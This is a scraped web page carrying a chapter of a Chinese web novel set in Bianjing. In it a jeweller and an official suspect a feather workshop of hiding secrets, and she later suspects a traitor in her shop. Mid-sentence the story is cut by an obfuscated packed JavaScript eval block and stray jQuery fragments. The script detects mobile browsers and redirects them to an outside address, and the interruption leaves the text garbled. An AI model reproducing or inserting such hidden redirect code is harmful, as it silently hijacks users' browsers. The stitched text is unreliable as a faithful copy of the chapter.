50.第五十章 抽丝剥茧

作品:《我在汴京做绒花

    凌肃思索了一会儿道:“仿佛是鹅儿市?”


    鹅儿市乃是一处专为售卖鸟禽的市场,占地甚广,说是名叫鹅儿市,实则各样用途的禽类均在此交易。


    上有巨隼海东青等专供王公贵族打猎所用巨禽,中有鹦鹉鹩哥等善学人语,可陪人逗趣解闷的宠物雀儿,下便是鸡鸭鹅等肉用禽类了。


    凌肃疑道:“翠园所用点翠,本就是翠鸟的羽毛所制,作坊设在在此处仿佛也并无什么问题?”


    常春翻过证词后一页:“陈福生说,崔浚让他去作坊内商谈要事,进去前出来后都搜过身,随身小厮俱都只能在门外等候,且他进去时走的是一条两边俱是板壁、无窗无洞的夹道。”


    她抬起头,目光锋锐:“若只是商议纵火杀人,翠园后院、酒楼雅间,甚至荒郊野庙,何处不可?崔浚既怕被人抓住把柄,要找个在他心中绝对保密的场所,因此选在了自家作坊后院,但又何至于如此防备陈福生呢?”


    他对陈福生的防备,根本不像防一个同谋,反倒像是在防一个可能会窥见作坊秘密的外贼。


    常春继续抽丝剥茧:“作坊不惜牺牲效率也要设置在这里,崔浚亦将其视为一个绝对私密安全的场所,甚至能放心与别人密谋纵火杀人之事。但更不合常理的是,这里居然紧挨着宰杀禽类的市场,每天人来人往,血腥污秽遍地。”


    凌肃亦点点头:“听你这样说来,确是不太合理。据我所知,点翠工艺一是要翠羽洁净,否则成品便色泽黯淡;二是要求工匠极度精心,方才能手稳,否则哪怕是乱动一毫一厘,羽丝一乱,整件作品便毁了。”


    常春道:“正是,鹅儿市后杀鸡宰鹅的地方,禽类粪便气味浓重,且病禽死禽亦多,翠园要如何保证翠羽的鲜活洁净?而那处每日熙熙攘攘人声喧嚣,又如何保证工匠心静手稳呢?”


    常春与凌肃的眼神在半空默默交汇:“除非,他们是为了掩饰其他的动静和气味……”


    常春道:“这份证词如同凌大人所说,根本不能作为崔浚教唆杀人放火的实据,要想找到更有力的证据扳倒他们,我就非要去探探这处不可。”


    凌肃蹙起眉:“你为何又要以身涉险?你要查什么,我吩咐长风他们去查即可。”


    常春见他一脸不悦,立即双手探过桌面捧起他的一只手,讨好地晃了晃:“大人的侍卫自然本领高强、勇武过人,但论起这首饰制作,我才是专业的,哪里不对我一看便知,自然我去才能找到问题,对吧?”


    凌肃不得不承认她说得有道理,但她将将才说了相信他,转眼又要独自冒险行事,简直让人疑心方才那些话都是哄人的。


    他“哼”了一声,唇线绷得笔直,垂目不言。


    常春有点急了,她将他的手抓得更紧了些:“我会很小心的,你知道的,我也不是什么善类嘛。”


    哪有人这样说自己的!凌肃瞪了她一眼:“我要和你同去。”


    “不、”常春才说了一个字,剩下的话就被凌肃逼视了回去。


    “那处如果真如你所推测的那样,藏着翠园不可告人的秘密,还要重重严防死守生怕泄露了去,你觉得你能怎么混进去?又该如何全身而退?”


    常春心虚道:“我自有我的办法……”


    “你!”凌肃气息一急,“你怎地这般油盐不进!”


    他简直要被气死了,常春却凑得更近了一点,轻轻摸了摸他手上的伤,柔声道:“你的伤还需静养,我怎么舍得让你同我去干那么危险的事呢?”


    全是借口,凌肃几乎要被气笑了:“你也知道危险,我还以为常女侠天不怕地不怕呢?我的伤,我的伤又是拜谁所赐?还静养什么?不如索性被烧死了,还免得我生气!”


    常春一把捂住他的嘴,这么好看的一个帅哥,怎么偏偏不是个哑巴呢。


    常春忍气吞声:“好吧,凌大人和我同去——但不能露面,就在外面接应我可好?”


    她尽量让自己的目光看起来诚恳一点:“一,你还伤着,和我一起进去只会拖慢我探查的节奏,二,你的脸大家都认识,隐蔽的难度可比我一个人混进去难多了,三……”


    她的手又不老实地摸上了他的脸:“三,我相信你,所以愿意把后背交给我最信赖的人。放之,你就在外面接应我可好,让我即使身处险境,心里面也能有所依托。”


    明知道多半又是她哄他的权宜之计,凌肃心中还是蓦地软了软,勉勉强强地答应了:“那需得与我约定个时间,一炷香之后若你还不出来,我就要带着亲卫去寻你了。”


    常春连连点头,迟疑了下才道:“其实我说的是真的。以前一个人有点辛苦的时候,偶尔也会想,要是有个人能陪着我就好了,有个人能帮我一把就好了,但我一直都很倒霉的,这种幸运的事从来没发生过。”


    她笑眼弯弯:“现在,终于轮到我幸运啦。”


    凌肃心中已软得一塌糊涂,却见常春用小银匙舀了块裹着蜜浆的菱肉,递到他嘴边:“这就当我给凌大人的谢礼吧。”


    她调皮地对他眨了眨眼睛:“我可是听说凌大人小时候为了吃糖爬供桌,还险些被揍呢。快吃,我替你看着,这次保证不会被人发现。”


    凌肃盯着她,张嘴接了,慢条斯理地嚼着,又喝了一口香薷饮才笑道:“春娘好算计,竟用我家的东西来做我的谢礼。”


    常春笑出了声,她得意地站起来,在他面前轻快地转了两圈,停下来看着他:“那怎么办,现在我全身上下都是你家的东西,这可如何是好,只得先赊账咯?”


    绯色的轻纱罗裙层层绽开,如同一枝雾气做的花朵,裙摆散逸间有清甜的香气透出来,如同方才他咽下去的那枚红菱。


    凌肃一展长臂,猝不及防地将她拉了过去,跌到他怀中,瞪大了眼睛一瞬不瞬地看着他。


    他微微一笑:“本小利薄,概不赊欠。”


    他不再问可不可以,直接对着那张菱唇,低下头覆了上去。


    ……


    直到坐在了天工阁的静室内,常春的手脚依然有些发软。


    飞瑶见她面上带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054338|191969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着红晕,额头尚有细汗,一边吩咐人给她换了一盏藿香缩脾饮,一边奇道:“咦,方才我见楼下不是国公府的马车送你来的?怎么还会如此之热?”


    常春一口凉茶呛在喉间,吞也不是吐也不是,心中将凌肃骂了一万遍。


    咳了一声,她放下茶盏,自袖中取出陈福生的供词,交与飞瑶:“你且看看这个。”


    飞瑶仔细看了半日,神色渐渐凝重起来。


    常春道:“如何?可是有些蹊跷?”


    常春此时与飞瑶说的蹊跷,与她同凌肃讨论的并不是同一件事,而现在这件事她觉得凌肃亦在证词中有所察觉。


    但因涉及天工阁内务,想必凌肃还牢牢记得那次,因他当面质疑了飞瑶兄妹的居心,而令常春大发脾气的事情。故而他只是轻描淡写提了一句,见常春心中有数,又觉得并没有翠园作坊那般棘手,于是就闭口不谈了。


    只是方才在眠风楼内,常春好不容易才将他推开,一听说她要去天工阁,想必就是为了这件事。凌肃那股别扭劲儿又上来了,非要送她过来,在马车内同她翻起了旧账,又折腾了好一会儿。


    常春又在心中骂了一声。


    飞瑶轻轻点在证词上的几处:“时间,崔浚布局的时间,未免太巧了些。”


    “崔浚第一次找上陈福生,正是你与临章一同绘制出锦鲤游荷的样式图那日。陈福生招供的证词中,崔浚告知他正是因为你为天工阁设计的系列首饰,挤了翠园的生意,才殃及了他的小铺子。”


    “他三言两语就激起了陈福生的恨意,又承诺事成后送他回原籍帮他东山再起,终于让陈福生决定豁出去了放手一搏,来对付你这个他本就深恨的人。”


    飞瑶面色凝重:“崔浚知道你与陈福生的恩怨不稀奇,可他偏偏选在你们参加荷花会的作品初稿完成后,当即就联系了陈福生,当时我们阁内都知道,此稿一出,再加上你的釉下点翠法,天工阁是很可能夺魁的。”


    “他的时机,未免太巧了些。”


    常春接道:“不止。还有起火那日,我前脚将锦鲤游荷带回了我家,预备第二日参选,后脚家中便起了火。


    “当晚我自店中离开时,的确隐隐约约感觉到身后仿佛有人跟着,但很快脚步声就没了,当时我精力不济之下也没深想。现在想来,想必是那人确认了我的确是回了小院,于是就马上去通风报信了。”


    飞瑶眉间聚起一团寒霜,她纤长的食指重重点在展开的证词册页上:“咱们店中,定有内鬼!”


    常春点头:“我想也是。因这店中都是你兄妹二人信得过的人,因此不论我与大掌案商量首饰工艺也好,样式也好,从不避人,甚至有些关窍处,还会主动将师傅学徒们叫过来一同学习精进。”


    飞瑶沉声接道:“却不想给了这等叛徒可乘之机!”


    她立即就要起身去找临章商议彻查店内的事情,却被常春一把拉住:“且慢。若我没猜错的话,我应当知道这人是谁了,先不要打草惊蛇,我下一步的计划,可少不了他。”